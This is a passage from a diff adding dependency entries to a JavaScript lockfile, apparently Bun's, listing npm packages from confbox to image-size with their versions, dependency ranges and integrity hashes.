["confbox@0.2.2", "", {}, "sha512-1NB+BKqhtNipMsov4xI/NnhCKp9XG9NamYp5PVm9klAT0fsrNPjaFICsCFhNhwZJKNh7zB/3q8qXz0E9oaMNtQ=="], + + "content-disposition": ["content-disposition@0.5.2", "", {}, "sha512-kRGRZw3bLlFISDBgwTSA1TMBFN6J6GWDeubmDE3AF+3+yXL8hTWv8r5rkLbqYXY4RjPk/EzHnClI3zQf1cFmHA=="], + + "convert-source-map": ["convert-source-map@2.0.0", "", {}, "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg=="], + + "cookie": ["cookie@1.1.1", "", {}, "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ=="], + + "copy-to-clipboard": ["copy-to-clipboard@3.3.3", "", { "dependencies": { "toggle-selection": "^1.0.6" } }, "sha512-2KV8NhB5JqC3ky0r9PMCAZKbUHSwtEo4CwCs0KXgruG43gX5PMqDEBbVU4OUzw2MuAWUfsuFmWvEKG5QRfSnJA=="], + + "cosmiconfig": ["cosmiconfig@7.1.0", "", { "dependencies": { "@types/parse-json": "^4.0.0", "import-fresh": "^3.2.1", "parse-json": "^5.0.0", "path-type": "^4.0.0", "yaml": "^1.10.0" } }, "sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA=="], + + "cross-spawn": ["cross-spawn@7.0.6", "", { "dependencies": { "path-key": "^3.1.0", "shebang-command": "^2.0.0", "which": "^2.0.1" } }, "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA=="], + + "cssesc": ["cssesc@3.0.0", "", { "bin": { "cssesc": "bin/cssesc" } }, "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg=="], + + "csstype": ["csstype@3.2.3", "", {}, "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ=="], + + "d3-color": ["d3-color@3.1.0", "", {}, "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA=="], + + "d3-dispatch": ["d3-dispatch@3.0.1", "", {}, "sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg=="], + + "d3-drag": ["d3-drag@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-selection": "3" } }, "sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg=="], + + "d3-ease": ["d3-ease@3.0.1", "", {}, "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w=="], + + "d3-hierarchy": ["d3-hierarchy@1.1.9", "", {}, "sha512-j8tPxlqh1srJHAtxfvOUwKNYJkQuBFdM1+JAUfq6xqH5eAqf93L7oG1NVqDa4CpFZNvnNKtCYEUC8KY9yEn9lQ=="], + + "d3-interpolate": ["d3-interpolate@3.0.1", "", { "dependencies": { "d3-color": "1 - 3" } }, "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g=="], + + "d3-path": ["d3-path@1.0.9", "", {}, "sha512-VLaYcn81dtHVTjEHd8B+pbe9yHWpXKZUC87PzoFmsFrJqgFwDe/qxfp5MlfsfM1V5E/iVt0MmEbWQ7FVIXh/bg=="], + + "d3-selection": ["d3-selection@3.0.0", "", {}, "sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ=="], + + "d3-shape": ["d3-shape@1.3.7", "", { "dependencies": { "d3-path": "1" } }, "sha512-EUkvKjqPFUAZyOlhY5gzCxCeI0Aep04LwIRpsZ/mLFelJiUfnK56jo5JMDSE7yyP2kLSb6LtF+S5chMk7uqPqw=="], + + "d3-timer": ["d3-timer@3.0.1", "", {}, "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA=="], + + "d3-transition": ["d3-transition@3.0.1", "", { "dependencies": { "d3-color": "1 - 3", "d3-dispatch": "1 - 3", "d3-ease": "1 - 3", "d3-interpolate": "1 - 3", "d3-timer": "1 - 3" }, "peerDependencies": { "d3-selection": "2 - 3" } }, "sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w=="], + + "d3-zoom": ["d3-zoom@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-drag": "2 - 3", "d3-interpolate": "1 - 3", "d3-selection": "2 - 3", "d3-transition": "2 - 3" } }, "sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw=="], + + "debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], + + "decode-named-character-reference": ["decode-named-character-reference@1.2.0", "", { "dependencies": { "character-entities": "^2.0.0" } }, "sha512-c6fcElNV6ShtZXmsgNgFFV5tVX2PaV4g+MOAkb8eXHvn6sryJBrZa9r0zV6+dtTyoCKxtDy5tyQ5ZwQuidtd+Q=="], + + "dedent": ["dedent@1.7.0", "", { "peerDependencies": { "babel-plugin-macros": "^3.1.0" }, "optionalPeers": ["babel-plugin-macros"] }, "sha512-HGFtf8yhuhGhqO07SV79tRp+br4MnbdjeVxotpn1QBl30pcLLCQjX5b2295ll0fv8RKDKsmWYrl05usHM9CewQ=="], + + "deep-extend": ["deep-extend@0.6.0", "", {}, "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA=="], + + "dequal": ["dequal@2.0.3", "", {}, "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA=="], + + "detect-libc": ["detect-libc@2.1.2", "", {}, "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ=="], + + "detect-node-es": ["detect-node-es@1.1.0", "", {}, "sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ=="], + + "devlop": ["devlop@1.1.0", "", { "dependencies": { "dequal": "^2.0.0" } }, "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA=="], + + "dom-helpers": ["dom-helpers@3.4.0", "", { "dependencies": { "@babel/runtime": "^7.1.2" } }, "sha512-LnuPJ+dwqKDIyotW1VzmOZ5TONUN7CwkCR5hrgawTUbkBGYdeoNLZo6nNfGkCrjtE1nXXaj7iMMpDa8/d9WoIA=="], + + "eastasianwidth": ["eastasianwidth@0.2.0", "", {}, "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA=="], + + "electron-to-chromium": ["electron-to-chromium@1.5.263", "", {}, "sha512-DrqJ11Knd+lo+dv+lltvfMDLU27g14LMdH2b0O3Pio4uk0x+z7OR+JrmyacTPN2M8w3BrZ7/RTwG3R9B7irPlg=="], + + "emoji-regex": ["emoji-regex@9.2.2", "", {}, "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg=="], + + "enhanced-resolve": ["enhanced-resolve@5.18.3", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.2.0" } }, "sha512-d4lC8xfavMeBjzGr2vECC3fsGXziXZQyJxD868h2M/mBI3PwAuODxAkLkq5HYuvrPYcUtiLzsTo8U3PgX3Ocww=="], + + "error-ex": ["error-ex@1.3.4", "", { "dependencies": { "is-arrayish": "^0.2.1" } }, "sha512-sqQamAnR14VgCr1A618A3sGrygcpK+HEbenA/HiEAkkUwcZIIB/tgWqHFxWgOyDh4nB4JCRimh79dR5Ywc9MDQ=="], + + "es-module-lexer": ["es-module-lexer@1.7.0", "", {}, "sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA=="], + + "esast-util-from-estree": ["esast-util-from-estree@2.0.0", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "devlop": "^1.0.0", "estree-util-visit": "^2.0.0", "unist-util-position-from-estree": "^2.0.0" } }, "sha512-4CyanoAudUSBAn5K13H4JhsMH6L9ZP7XbLVe/dKybkxMO7eDyLsT8UHl9TRNrU2Gr9nz+FovfSIjuXWJ81uVwQ=="], + + "esast-util-from-js": ["esast-util-from-js@2.0.1", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "acorn": "^8.0.0", "esast-util-from-estree": "^2.0.0", "vfile-message": "^4.0.0" } }, "sha512-8Ja+rNJ0Lt56Pcf3TAmpBZjmx8ZcK5Ts4cAzIOjsjevg9oSXJnl6SUQ2EevU8tv3h6ZLWmoKL5H4fgWvdvfETw=="], + + "esbuild": ["esbuild@0.25.12", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.25.12", "@esbuild/android-arm": "0.25.12", "@esbuild/android-arm64": "0.25.12", "@esbuild/android-x64": "0.25.12", "@esbuild/darwin-arm64": "0.25.12", "@esbuild/darwin-x64": "0.25.12", "@esbuild/freebsd-arm64": "0.25.12", "@esbuild/freebsd-x64": "0.25.12", "@esbuild/linux-arm": "0.25.12", "@esbuild/linux-arm64": "0.25.12", "@esbuild/linux-ia32": "0.25.12", "@esbuild/linux-loong64": "0.25.12", "@esbuild/linux-mips64el": "0.25.12", "@esbuild/linux-ppc64": "0.25.12", "@esbuild/linux-riscv64": "0.25.12", "@esbuild/linux-s390x": "0.25.12", "@esbuild/linux-x64": "0.25.12", "@esbuild/netbsd-arm64": "0.25.12", "@esbuild/netbsd-x64": "0.25.12", "@esbuild/openbsd-arm64": "0.25.12", "@esbuild/openbsd-x64": "0.25.12", "@esbuild/openharmony-arm64": "0.25.12", "@esbuild/sunos-x64": "0.25.12", "@esbuild/win32-arm64": "0.25.12", "@esbuild/win32-ia32": "0.25.12", "@esbuild/win32-x64": "0.25.12" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg=="], + + "escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="], + + "escape-string-regexp": ["escape-string-regexp@5.0.0", "", {}, "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw=="], + + "estree-util-attach-comments": ["estree-util-attach-comments@3.0.0", "", { "dependencies": { "@types/estree": "^1.0.0" } }, "sha512-cKUwm/HUcTDsYh/9FgnuFqpfquUbwIqwKM26BVCGDPVgvaCl/nDCCjUfiLlx6lsEZ3Z4RFxNbOQ60pkaEwFxGw=="], + + "estree-util-build-jsx": ["estree-util-build-jsx@3.0.1", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "devlop": "^1.0.0", "estree-util-is-identifier-name": "^3.0.0", "estree-walker": "^3.0.0" } }, "sha512-8U5eiL6BTrPxp/CHbs2yMgP8ftMhR5ww1eIKoWRMlqvltHF8fZn5LRDvTKuxD3DUn+shRbLGqXemcP51oFCsGQ=="], + + "estree-util-is-identifier-name": ["estree-util-is-identifier-name@3.0.0", "", {}, "sha512-hFtqIDZTIUZ9BXLb8y4pYGyk6+wekIivNVTcmvk8NoOh+VeRn5y6cEHzbURrWbfp1fIqdVipilzj+lfaadNZmg=="], + + "estree-util-scope": ["estree-util-scope@1.0.0", "", { "dependencies": { "@types/estree": "^1.0.0", "devlop": "^1.0.0" } }, "sha512-2CAASclonf+JFWBNJPndcOpA8EMJwa0Q8LUFJEKqXLW6+qBvbFZuF5gItbQOs/umBUkjviCSDCbBwU2cXbmrhQ=="], + + "estree-util-to-js": ["estree-util-to-js@2.0.0", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "astring": "^1.8.0", "source-map": "^0.7.0" } }, "sha512-WDF+xj5rRWmD5tj6bIqRi6CkLIXbbNQUcxQHzGysQzvHmdYG2G7p/Tf0J0gpxGgkeMZNTIjT/AoSvC9Xehcgdg=="], + + "estree-util-value-to-estree": ["estree-util-value-to-estree@3.5.0", "", { "dependencies": { "@types/estree": "^1.0.0" } }, "sha512-aMV56R27Gv3QmfmF1MY12GWkGzzeAezAX+UplqHVASfjc9wNzI/X6hC0S9oxq61WT4aQesLGslWP9tKk6ghRZQ=="], + + "estree-util-visit": ["estree-util-visit@2.0.0", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "@types/unist": "^3.0.0" } }, "sha512-m5KgiH85xAhhW8Wta0vShLcUvOsh3LLPI2YVwcbio1l7E09NTLL1EyMZFM1OyWowoH0skScNbhOPl4kcBgzTww=="], + + "estree-walker": ["estree-walker@3.0.3", "", { "dependencies": { "@types/estree": "^1.0.0" } }, "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g=="], + + "execa": ["execa@5.1.1", "", { "dependencies": { "cross-spawn": "^7.0.3", "get-stream": "^6.0.0", "human-signals": "^2.1.0", "is-stream": "^2.0.0", "merge-stream": "^2.0.0", "npm-run-path": "^4.0.1", "onetime": "^5.1.2", "signal-exit": "^3.0.3", "strip-final-newline": "^2.0.0" } }, "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg=="], + + "exit-hook": ["exit-hook@2.2.1", "", {}, "sha512-eNTPlAD67BmP31LDINZ3U7HSF8l57TxOY2PmBJ1shpCvpnxBF93mWCE8YHBnXs8qiUZJc9WDcWIeC3a2HIAMfw=="], + + "exsolve": ["exsolve@1.0.8", "", {}, "sha512-LmDxfWXwcTArk8fUEnOfSZpHOJ6zOMUJKOtFLFqJLoKJetuQG874Uc7/Kki7zFLzYybmZhp1M7+98pfMqeX8yA=="], + + "extend": ["extend@3.0.2", "", {}, "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="], + + "fast-deep-equal": ["fast-deep-equal@3.1.3", "", {}, "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="], + + "fault": ["fault@1.0.4", "", { "dependencies": { "format": "^0.2.0" } }, "sha512-CJ0HCB5tL5fYTEA7ToAq5+kTwd++Borf1/bifxd9iT70QcXr4MRrO3Llf8Ifs70q+SJcGHFtnIE/Nw6giCtECA=="], + + "fdir": ["fdir@6.5.0", "", { "peerDependencies": { "picomatch": "^3 || ^4" }, "optionalPeers": ["picomatch"] }, "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg=="], + + "format": ["format@0.2.2", "", {}, "sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww=="], + + "framer-motion": ["framer-motion@12.23.25", "", { "dependencies": { "motion-dom": "^12.23.23", "motion-utils": "^12.23.6", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-gUHGl2e4VG66jOcH0JHhuJQr6ZNwrET9g31ZG0xdXzT0CznP7fHX4P8Bcvuc4MiUB90ysNnWX2ukHRIggkl6hQ=="], + + "fsevents": ["fsevents@2.3.3", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="], + + "fumadocs-core": ["fumadocs-core@16.2.3", "", { "dependencies": { "@formatjs/intl-localematcher": "^0.6.2", "@orama/orama": "^3.1.16", "@shikijs/rehype": "^3.19.0", "@shikijs/transformers": "^3.19.0", "estree-util-value-to-estree": "^3.5.0", "github-slugger": "^2.0.0", "hast-util-to-estree": "^3.1.3", "hast-util-to-jsx-runtime": "^2.3.6", "image-size": "^2.0.2", "negotiator": "^1.0.0", "npm-to-yarn": "^3.0.1", "path-to-regexp": "^8.3.0", "remark": "^15.0.1", "remark-gfm": "^4.0.1", "remark-rehype": "^11.1.2", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^3.19.0", "unist-util-visit": "^5.0.0" }, "peerDependencies": { "@mixedbread/sdk": "^0.19.0", "@orama/core": "1.x.x", "@tanstack/react-router": "1.x.x", "@types/react": "*", "algoliasearch": "5.x.x", "lucide-react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "react-router": "7.x.x", "waku": "^0.26.0 || ^0.27.0", "zod": "*" }, "optionalPeers": ["@mixedbread/sdk", "@orama/core", "@tanstack/react-router", "@types/react", "algoliasearch", "lucide-react", "next", "react", "react-dom", "react-router", "waku", "zod"] }, "sha512-HFtS0Gwf4izYbmkB8gj0sQWv8G9yyI8tM5RQ3E8fSD5IRVtBWhPq05zOIIM523XUGfDBvm/qDOquDqVF5NDO+A=="], + + "fumadocs-mdx": ["fumadocs-mdx@14.1.0", "", { "dependencies": { "@mdx-js/mdx": "^3.1.1", "@standard-schema/spec": "^1.0.0", "chokidar": "^5.0.0", "esbuild": "^0.27.1", "estree-util-value-to-estree": "^3.5.0", "js-yaml": "^4.1.1", "mdast-util-to-markdown": "^2.1.2", "picocolors": "^1.1.1", "picomatch": "^4.0.3", "remark-mdx": "^3.1.1", "tinyexec": "^1.0.2", "tinyglobby": "^0.2.15", "unified": "^11.0.5", "unist-util-remove-position": "^5.0.0", "unist-util-visit": "^5.0.0", "vfile": "^6.0.3", "zod": "^4.1.13" }, "peerDependencies": { "@fumadocs/mdx-remote": "^1.4.0", "fumadocs-core": "^15.0.0 || ^16.0.0", "next": "^15.3.0 || ^16.0.0", "react": "*", "vite": "6.x.x || 7.x.x" }, "optionalPeers": ["@fumadocs/mdx-remote", "next", "react", "vite"], "bin": { "fumadocs-mdx": "dist/bin.js" } }, "sha512-6I3nXzM3+dSap5UZvKFQvOaKNKdMfxK5/8Cyu3am6zm0d/acuUxT1r1s1GQpc8H5iB9bFMtwyoZff1WN2qWq8g=="], + + "fumadocs-ui": ["fumadocs-ui@16.2.3", "", { "dependencies": { "@radix-ui/react-accordion": "^1.2.12", "@radix-ui/react-collapsible": "^1.1.12", "@radix-ui/react-dialog": "^1.1.15", "@radix-ui/react-direction": "^1.1.1", "@radix-ui/react-navigation-menu": "^1.2.14", "@radix-ui/react-popover": "^1.1.15", "@radix-ui/react-presence": "^1.1.5", "@radix-ui/react-scroll-area": "^1.2.10", "@radix-ui/react-slot": "^1.2.4", "@radix-ui/react-tabs": "^1.1.13", "class-variance-authority": "^0.7.1", "fumadocs-core": "16.2.3", "lodash.merge": "^4.6.2", "next-themes": "^0.4.6", "postcss-selector-parser": "^7.1.1", "react-medium-image-zoom": "^5.4.0", "scroll-into-view-if-needed": "^3.1.0", "tailwind-merge": "^3.4.0" }, "peerDependencies": { "@types/react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "tailwindcss": "^4.0.0" }, "optionalPeers": ["@types/react", "next", "tailwindcss"] }, "sha512-VsTz6qNDvWCeMhUa688P1G79PGW0odO6SjjM1psGZQ3T/LRQyhNY32i0WHb6aota8X4zYaOnfl6bK2CMOlRQvA=="], + + "function-bind": ["function-bind@1.1.2", "", {}, "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="], + + "gensync": ["gensync@1.0.0-beta.2", "", {}, "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg=="], + + "get-nonce": ["get-nonce@1.0.1", "", {}, "sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q=="], + + "get-stream": ["get-stream@6.0.1", "", {}, "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg=="], + + "github-slugger": ["github-slugger@2.0.0", "", {}, "sha512-IaOQ9puYtjrkq7Y0Ygl9KDZnrf/aiUJYUpVf89y8kyaxbRG7Y1SrX/jaumrv81vc61+kiMempujsM3Yw7w5qcw=="], + + "glob": ["glob@13.0.0", "", { "dependencies": { "minimatch": "^10.1.1", "minipass": "^7.1.2", "path-scurry": "^2.0.0" } }, "sha512-tvZgpqk6fz4BaNZ66ZsRaZnbHvP/jG3uKJvAZOwEVUL4RTA5nJeeLYfyN9/VA8NX/V3IBG+hkeuGpKjvELkVhA=="], + + "globrex": ["globrex@0.1.2", "", {}, "sha512-uHJgbwAMwNFf5mLst7IWLNg14x1CkeqglJb/K3doi4dw6q2IvAAmM/Y81kevy83wP+Sst+nutFTYOGg3d1lsxg=="], + + "goober": ["goober@2.1.18", "", { "peerDependencies": { "csstype": "^3.0.10" } }, "sha512-2vFqsaDVIT9Gz7N6kAL++pLpp41l3PfDuusHcjnGLfR6+huZkl6ziX+zgVC3ZxpqWhzH6pyDdGrCeDhMIvwaxw=="], + + "graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="], + + "has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="], + + "hasown": ["hasown@2.0.2", "", { "dependencies": { "function-bind": "^1.1.2" } }, "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ=="], + + "hast-util-parse-selector": ["hast-util-parse-selector@4.0.0", "", { "dependencies": { "@types/hast": "^3.0.0" } }, "sha512-wkQCkSYoOGCRKERFWcxMVMOcYE2K1AaNLU8DXS9arxnLOUEWbOXKXiJUNzEpqZ3JOKpnha3jkFrumEjVliDe7A=="], + + "hast-util-to-estree": ["hast-util-to-estree@3.1.3", "", { "dependencies": { "@types/estree": "^1.0.0", "@types/estree-jsx": "^1.0.0", "@types/hast": "^3.0.0", "comma-separated-tokens": "^2.0.0", "devlop": "^1.0.0", "estree-util-attach-comments": "^3.0.0", "estree-util-is-identifier-name": "^3.0.0", "hast-util-whitespace": "^3.0.0", "mdast-util-mdx-expression": "^2.0.0", "mdast-util-mdx-jsx": "^3.0.0", "mdast-util-mdxjs-esm": "^2.0.0", "property-information": "^7.0.0", "space-separated-tokens": "^2.0.0", "style-to-js": "^1.0.0", "unist-util-position": "^5.0.0", "zwitch": "^2.0.0" } }, "sha512-48+B/rJWAp0jamNbAAf9M7Uf//UVqAoMmgXhBdxTDJLGKY+LRnZ99qcG+Qjl5HfMpYNzS5v4EAwVEF34LeAj7w=="], + + "hast-util-to-html": ["hast-util-to-html@9.0.5", "", { "dependencies": { "@types/hast": "^3.0.0", "@types/unist": "^3.0.0", "ccount": "^2.0.0", "comma-separated-tokens": "^2.0.0", "hast-util-whitespace": "^3.0.0", "html-void-elements": "^3.0.0", "mdast-util-to-hast": "^13.0.0", "property-information": "^7.0.0", "space-separated-tokens": "^2.0.0", "stringify-entities": "^4.0.0", "zwitch": "^2.0.4" } }, "sha512-OguPdidb+fbHQSU4Q4ZiLKnzWo8Wwsf5bZfbvu7//a9oTYoqD/fWpe96NuHkoS9h0ccGOTe0C4NGXdtS0iObOw=="], + + "hast-util-to-jsx-runtime": ["hast-util-to-jsx-runtime@2.3.6", "", { "dependencies": { "@types/estree": "^1.0.0", "@types/hast": "^3.0.0", "@types/unist": "^3.0.0", "comma-separated-tokens": "^2.0.0", "devlop": "^1.0.0", "estree-util-is-identifier-name": "^3.0.0", "hast-util-whitespace": "^3.0.0", "mdast-util-mdx-expression": "^2.0.0", "mdast-util-mdx-jsx": "^3.0.0", "mdast-util-mdxjs-esm": "^2.0.0", "property-information": "^7.0.0", "space-separated-tokens": "^2.0.0", "style-to-js": "^1.0.0", "unist-util-position": "^5.0.0", "vfile-message": "^4.0.0" } }, "sha512-zl6s8LwNyo1P9uw+XJGvZtdFF1GdAkOg8ujOw+4Pyb76874fLps4ueHXDhXWdk6YHQ6OgUtinliG7RsYvCbbBg=="], + + "hast-util-to-string": ["hast-util-to-string@3.0.1", "", { "dependencies": { "@types/hast": "^3.0.0" } }, "sha512-XelQVTDWvqcl3axRfI0xSeoVKzyIFPwsAGSLIsKdJKQMXDYJS4WYrBNF/8J7RdhIcFI2BOHgAifggsvsxp/3+A=="], + + "hast-util-whitespace": ["hast-util-whitespace@3.0.0", "", { "dependencies": { "@types/hast": "^3.0.0" } }, "sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw=="], + + "hastscript": ["hastscript@9.0.1", "", { "dependencies": { "@types/hast": "^3.0.0", "comma-separated-tokens": "^2.0.0", "hast-util-parse-selector": "^4.0.0", "property-information": "^7.0.0", "space-separated-tokens": "^2.0.0" } }, "sha512-g7df9rMFX/SPi34tyGCyUBREQoKkapwdY/T04Qn9TDWfHhAYt4/I0gMVirzK5wEzeUqIjEB+LXC/ypb7Aqno5w=="], + + "highlight.js": ["highlight.js@10.7.3", "", {}, "sha512-tzcUFauisWKNHaRkN4Wjl/ZA07gENAjFl3J/c480dprkGTg5EQstgaNFqBfUqCq54kZRIEcreTsAgF/m2quD7A=="], + + "highlightjs-vue": ["highlightjs-vue@1.0.0", "", {}, "sha512-PDEfEF102G23vHmPhLyPboFCD+BkMGu+GuJe2d9/eH4FsCwvgBpnc9n0pGE+ffKdph38s6foEZiEjdgHdzp+IA=="], + + "html-parse-stringify": ["html-parse-stringify@3.0.1", "", { "dependencies": { "void-elements": "3.1.0" } }, "sha512-KknJ50kTInJ7qIScF3jeaFRpMpE8/lfiTdzf/twXyPBLAGrLRTmkz3AdTnKeh40X8k9L2fdYwEp/42WGXIRGcg=="], + + "html-void-elements": ["html-void-elements@3.0.0", "", {}, "sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg=="], + + "human-signals": ["human-signals@2.1.0", "", {}, "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw=="], + + "i18next": ["i18next@25.7.1", "", { "dependencies": { "@babel/runtime": "^7.28.4" }, "peerDependencies": { "typescript": "^5" }, "optionalPeers": ["typescript"] }, "sha512-XbTnkh1yCZWSAZGnA9xcQfHcYNgZs2cNxm+c6v1Ma9UAUGCeJPplRe1ILia6xnDvXBjk0uXU+Z8FYWhA19SKFw=="], + + "image-size": ["image-size@2.0.2", "", { "bin": { "image-size": "bin/image-size.js" } }, 